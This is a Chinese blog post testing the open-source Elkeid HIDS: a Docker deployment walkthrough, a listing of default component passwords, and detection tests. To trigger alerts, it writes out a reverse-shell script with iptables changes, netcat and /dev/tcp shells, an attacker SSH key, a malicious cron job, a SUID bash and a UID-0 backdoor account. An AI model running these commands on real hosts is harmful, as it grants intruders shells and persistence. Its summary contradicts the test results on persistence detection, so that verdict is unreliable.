开源 Hids Elkeid 笔记一:主机入侵检测部署与测试

📘 文档目的与功能
  本文档旨在记录开源主机入侵检测系统 (HIDS) Elkeid 社区版Docker 一键部署流程、核心功能验证 以及 初步使用评估
主要内容包括:
  • 快速部署:基于 Docker 在单机上快速启动 Elkeid 社区版(All-in-One)。
  • 功能验证:测试其入侵检测、漏洞扫描、基线检查、后门检测等核心安全能力。
  • 评估对比:与同类开源 HIDS 方案(如 Wazuh)进行初步对比,总结其优势与待改进点。
  :本文档为 Elkeid 笔记(一):主机入侵检测。关于其容器与云原生工作负载的安全能力测试,见 Elkeid 笔记(二)
一、 系统简介
  Elkeid 是字节跳动开源的一款主机型入侵检测系统,采用 C/S 架构,支持主机、容器、Serverless 等多种工作负载。社区版提供基础功能,商业版功能更全。本次测试基于社区版 v1.9.1。
  • 官网https://elkeid.bytedance.com
  • 架构:传统 C/S 架构,在主机安装 Agent 上报数据至服务端。

二、 Docker 快速部署指南

测试环境

  • 服务端:CentOS 7.9 / Docker 25.0.3 / Elkeid v1.9.1(在ubuntu22/24上可能存在兼容问题)
  • 客户端:Ubuntu 24.04、Centos 7.9、Centos 6
1. 导入镜像
从 GitHub Releases 下载分卷镜像包并合并导入。镜像较大(约3.4GB),导入后容器占用约9GB。
# 下载分卷压缩包
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.00
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.01
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.02
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.03

# 合并分卷
cat elkeidup_image_v1.9.1.tar.gz.* > elkeidup_image_v1.9.1.tar.gz

# 导入 Docker 镜像
docker load -i elkeidup_image_v1.9.1.tar.gz
2. 运行容器
docker run -d --name elkeid_community \
--restart=unless-stopped \
-v /sys/fs/cgroup:/sys/fs/cgroup:ro \
-p 8071:8071 -p 8072:8072 -p 8080:8080 \
-p 8081:8081 -p 8082:8082 -p 8089:8080 \
-p 8090:8090 -p 6754:6754 \
--privileged \
elkeid/all-in-one:v1.9.1

端口说明

端口 用途
8082 Elkeid Console 控制台
8081 Elkeid HUB 前端
8080/8089 服务发现等内部通信
6754 Agent Center(接收 K8s 审计日志)
3. 配置对外 IP 与 Agent 初始化
# 进入容器
docker exec -it elkeid_community bash

# 进入配置目录
cd /root/.elkeidup/

# 配置你的服务端 IP(重要!)
./elkeidup public 192.168.20.223   # 替换为你的实际 IP

# 初始化 Agent 相关配置
./elkeidup agent init
./elkeidup agent build
./elkeidup agent policy create

# 查看各组件密码(务必保存)
cat ~/.elkeidup/elkeid_passwd
执行 ./elkeidup public时,需阅读并接受信息收集声明(输入 y),并按提示输入邮箱(可选),部分安装过程截图:

 

4. 访问信息与初始账号
初始化完成后,密码文件 ~/.elkeidup/elkeid_passwd中记录了所有组件的访问信息。
组件
访问地址 
账号/密码 (示例)
说明
Elkeid Console (主控台)
http://ip:8082
root / 7rkm95s09kl23o85diZP
资产管理、策略下发、告警中心
Elkeid Hub Frontend
http://ip:8081
elkeid_hub / 1do6n4end23kj52963RK
检测规则、数据查询平台
Grafana
http://ip:8083
admin / 7q83dm8715fn355b6d
监控数据可视化
Service Discovery
ip:8089
服务发现地址
重要提示:以上密码为镜像内置默认密码,请勿直接用于生产环境
三、登录 Elkeid 控制台与安装 Agent
1. 访问控制台

浏览器访问 http://<你的服务端IP>:8082,使用上面获得的 root 账号密码登录。

2. 安装 Agent

Elkeid 社区版仅支持 Linux 客户端(商业版支持 Windows)。

  • 在控制台进入 安装指南 页面,复制生成的安装命令。
  • 在需要监控的 Linux 主机上以 root 权限执行该命令。

安装成功后,在控制台 资产中心 即可看到上线的主机。

3. 功能预览
 

资产中心:查看主机列表、系统信息、资源占用等。

 


 

资产指纹:收集进程、端口、账号、软件包等详细信息。

 


 
四、 安全检测能力测试(主机安全)
1. 入侵检测(告警)测试
① 反连后门测试 ✅ 成功触发

模拟方式:在被测主机执行反向连接脚本bash_tcp_backdoor.sh 

[root@Zookeeper tmp]# cat bash_tcp_backdoor.sh 
#!/bin/bash
if netstat -ano|grep -v grep | grep "192.168.20.15">/dev/null
# Romote IP
	then
	echo "OK">/dev/null
	else
		/sbin/iptables --policy INPUT ACCEPT
		/sbin/iptables --policy OUTPUT ACCEPT
# iptables allow
		bash -i >& /dev/tcp/192.168.20.15/6666 0>&1
		fi

#在20.15上监听端口 nc -l -v -p 6666
#在Zookeeper主机上执行该脚本

预期告警:反向 Shell / 异常外连。

测试结果✅ 成功触发告警,Elkeid 能准确识别此类明显的恶意网络行为。

② Rootkit 后门测试 ✅ 成功触发

模拟方式:安装 Reptile-rootkit 和 Mafix rootkit 程序。
测试结果✅ 成功触发告警,说明 Elkeid 对已知恶意软件特征有较好的识别能力。


③ SSH 爆破测试 ✅ 成功触发

模拟方式:使用 hydra 等工具对被测主机进行 SSH 密码爆破。
测试结果✅ 成功触发告警,能够检测到高频失败登录尝试。

 
2. 漏洞检测 ❌ 能力有限

测试结果:与 Wazuh 相比,Elkeid 社区版能检测到的漏洞非常有限,仅覆盖少量常见漏洞情报。

 
3. 基线检测 ❌ 能力有限

测试结果:弱口令字典有限,不能手工添加自定义基线规则,灵活性不足。

 
4. 后门扫描(Webshell) ✅ 效果较好

测试结果:对各种一句话 Webshell 基本都能扫描到,Yara 规则引擎生效。

五、持久化与提权行为检测
1.  修改SSH授权密钥(持久化后门)

目的:验证是否能检测到.ssh/authorized_keys的异常写入。

# 在Ubuntu 24.04 agent机器上执行
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil" >> ~/.ssh/authorized_keys
预期告警ssh_key_modified / 敏感文件篡改(中高危)
检测结果:检测到

2.  创建可疑定时任务(持久化)

目的:验证Cron任务创建是否告警。

# 写入恶意定时任务
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/evil.sh") | crontab -
预期告警cron_job_added / 持久化行为(中危)
检测结果:检测到

3.  SUID提权后门(权限提升)

目的:验证创建SUID文件是否触发告警。

# 复制bash并设置SUID
cp /bin/bash /tmp/bash_suid
chmod u+s /tmp/bash_suid
# 验证:/tmp/bash_suid -p (可提权)
预期告警suid_file_created / 可疑SUID文件(高危)
检测结果:检测到

4.  使用nc监听端口(后门监听)

目的:验证反向/正向Shell监听行为。

# 正向监听(等待连接)
nc -lvp 4444 -e /bin/bash
# 或反向连接
bash -i >& /dev/tcp/192.168.21.218/4444 0>&1
预期告警netcat_backdoor / 后门监听(高危)
检测结果:检测到

5.  /etc/passwd新增用户(账号后门)

目的:验证敏感用户文件修改。

# 添加一个UID=0的后门用户
echo "backdoor:x:0:0:root:/root:/bin/bash" >> /etc/passwd
预期告警passwd_modified / 敏感账户变更(高危)
检测结果:检测到

六、总结对比与简评
1. 与 Wazuh 的横向对比
2. 适用场景建议

✅ Elkeid 社区版适合

  • 需要轻量级、快速部署的 HIDS 方案
  • 主要关注明显的恶意行为(反弹 Shell、已知 Rootkit、Webshell)
  • 对容器和 K8s 安全有原生需求的环境

❌ 不适合的场景

  • 需要深度漏洞管理完整基线检查
  • 需要检测持久化、提权、配置篡改等高级攻击
  • 生产环境要求高覆盖率的安全检测
3. 总结  
  Elkeid 社区版是一款优秀的 入门级HIDS。它以极低的部署门槛和出色的容器适配性取胜,非常适合作为内部资产清点和基础安全防护的入口工具。但它也存在明确的能力边界:在深度漏洞挖掘与高级威胁检测(如持久化、提权)上存在明显盲区。
  潜在风险:社区版 v1.9.1( 2023)年后未有版本迭代,开源生态活跃度不高,长期演进与技术支撑能力有待观察。
  本文为主机篇实测,关于容器 / K8s 的防护预警能力将在下一篇《Elkeid 容器安全实践》中深度验证。